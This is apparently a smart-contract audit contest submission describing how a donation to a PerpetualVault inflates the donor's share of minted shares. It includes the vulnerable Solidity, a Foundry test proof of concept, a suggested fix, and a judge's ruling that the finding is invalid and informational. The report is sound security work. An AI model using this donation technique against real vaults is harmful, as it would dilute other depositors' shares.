DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

User can increase his share of position shares minted by making a donation to the vault

Summary

The _mint function is called at the end of a deposit flow to mint shares to users in accordance to their deposits.
It is designed a way such that when the position is closed or has not yet been opened, depositors get a fair amount of shares according to their deposited amounts, regardless of who came first.

However, a user can ensure other users are negatively impacted by making a malicious donation to the vault. He also ensures himself a greater piece of all shares minted.

Vulnerability Details

The vulnerability lies in how the memory variable totalAmountBefore is derived.

function _mint(uint256 depositId, uint256 amount, bool refundFee, MarketPrices memory prices) internal {
uint256 _shares;
if (totalShares == 0) {
_shares = depositInfo[depositId].amount * 1e8;
} else {
uint256 totalAmountBefore;
if (positionIsClosed == false && _isLongOneLeverage(beenLong)) {
totalAmountBefore = IERC20(indexToken).balanceOf(address(this)) - amount;
} else {
@> totalAmountBefore = _totalAmount(prices) - amount;//@audit
}
if (totalAmountBefore == 0) totalAmountBefore = 1;
_shares = amount * totalShares / totalAmountBefore;
}
depositInfo[depositId].shares = _shares;
totalShares = totalShares + _shares;
if (refundFee) {
uint256 usedFee = callbackGasLimit * tx.gasprice;
if (depositInfo[counter].executionFee > usedFee) {
try IGmxProxy(gmxProxy).refundExecutionFee(depositInfo[counter].owner, depositInfo[counter].executionFee - usedFee) {} catch {}
}
}
emit Minted(depositId, depositInfo[depositId].owner, _shares, amount);
}

When the position is closed (or has not yet been opened), totalAmountBefore calls function _totalAmount(), which will return the vault's collateralToken balance.
This balance can be manipulated with donations that go around the deposit function.

function _totalAmount(MarketPrices memory prices) internal view returns (uint256) {
if (positionIsClosed) {
@> return collateralToken.balanceOf(address(this));
} else {
IVaultReader.PositionData memory positionData = vaultReader.getPositionInfo(curPositionKey, prices);
uint256 total = IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min / prices.shortTokenPrice.min
+ collateralToken.balanceOf(address(this))
+ positionData.netValue / prices.shortTokenPrice.min;
return total;
}
}

Impact

The first deposit after the donation will not be affected, however every subsequent deposit will.
Indeed the attacker's donations would be lost, but the donated amount will be part of the total position collateral.
Additionally, it affects the total amount of shares minted.

The impact could be negatively significant for other users and the profit great for the attacker.
If the opened position returns profit, users will not benefit as much as they should, while Bob will benefit more then is fair.

This can be done at ay stage while the position is closed, however it will only affect subsequent deposits.

[Please note that the same concept applies where ever balances are used in the mint() function instead of deposit amounts and swapped amounts (applicable to other position types).]

Tools Used

Manual Review: for spotting
Foundry: for testing

Proof of Code

The following test shows how this can be done. Bob ends up owning 50% of all shares minted, rather than 33%. The other users get minted half the shares they would be entitled to for the same deposit.
Additionally, in this example, total shares emitted should have been 3^(26) rather than 2^(26).

Paste the following in PerpetualVault.t.sol:

function test_donationImpactsShareMinting() external {
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
address bob = makeAddr("bob");
address alice = makeAddr("alice");
address julie = makeAddr("julie");
uint256 amountDonation = 1e18;
uint256 amountDeposit = 1e18;
// Bob transfers USDC into vault, bypassing the deposit function
deal(address(collateralToken), bob, amountDonation + amountDeposit);
vm.startPrank(bob);
collateralToken.transfer(payable(vault), amountDonation);
vm.stopPrank();
// Bob deposits first into the vault
vm.startPrank(bob);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
collateralToken.approve(vault, amountDeposit);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(amountDeposit);
vm.stopPrank();
uint256[] memory depositIdsBob = PerpetualVault(vault).getUserDeposits(bob);
(, uint256 sharesBob,,,,) = PerpetualVault(vault).depositInfo(depositIdsBob[0]);
// Alice makes the second deposit
vm.startPrank(alice);
deal(address(collateralToken), alice, amountDeposit);
collateralToken.approve(vault, amountDeposit);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(amountDeposit);
vm.stopPrank();
uint256[] memory depositIdsAlice = PerpetualVault(vault).getUserDeposits(alice);
(, uint256 sharesAlice,,,,) = PerpetualVault(vault).depositInfo(depositIdsAlice[0]);
// Julie deposits third
vm.startPrank(julie);
deal(address(collateralToken), julie, amountDeposit);
collateralToken.approve(vault, amountDeposit);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(amountDeposit);
vm.stopPrank();
uint256[] memory depositIdsJulie = PerpetualVault(vault).getUserDeposits(julie);
(, uint256 sharesJulie,,,,) = PerpetualVault(vault).depositInfo(depositIdsJulie[0]);
uint256 totalDepositAmount = PerpetualVault(vault).totalDepositAmount();
uint256 totalShares = PerpetualVault(vault).totalShares();
assert(sharesBob > sharesAlice);
assert(sharesBob > sharesJulie);
console.log("totalDepositAmount", totalDepositAmount);//3000000000000000000
console.log("totalShares", totalShares); //200000000000000000000000000
console.log("Bob's shares", sharesBob); //100000000000000000000000000
console.log("Alices's shares", sharesAlice); //50000000000000000000000000
console.log("Julie's shares", sharesJulie); //50000000000000000000000000
}

Recommendations

Ensure that, when positionIsClosed = true, function _totalAmount returns totalDepositAmount instead of the vault's balance:

function _totalAmount(MarketPrices memory prices) internal view returns (uint256) {
if (positionIsClosed) {
- return collateralToken.balanceOf(address(this));
+ return totalDepositAmount;
} else {
IVaultReader.PositionData memory positionData = vaultReader.getPositionInfo(curPositionKey, prices);
uint256 total = IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min / prices.shortTokenPrice.min
+ collateralToken.balanceOf(address(this))
+ positionData.netValue / prices.shortTokenPrice.min;
return total;
}
}

Please note that the same concept applies where ever balances are used in the mint() function instead of deposit amounts and swapped amounts (applicable to other position types).

Updates

Lead Judging Commences

n0kto Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_collateral_balanceOf_donation

Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.

Appeal created

ccvascocc Submitter
5 months ago
ccvascocc Submitter
5 months ago
n0kto Lead Judge
5 months ago
n0kto Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_collateral_balanceOf_donation

Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.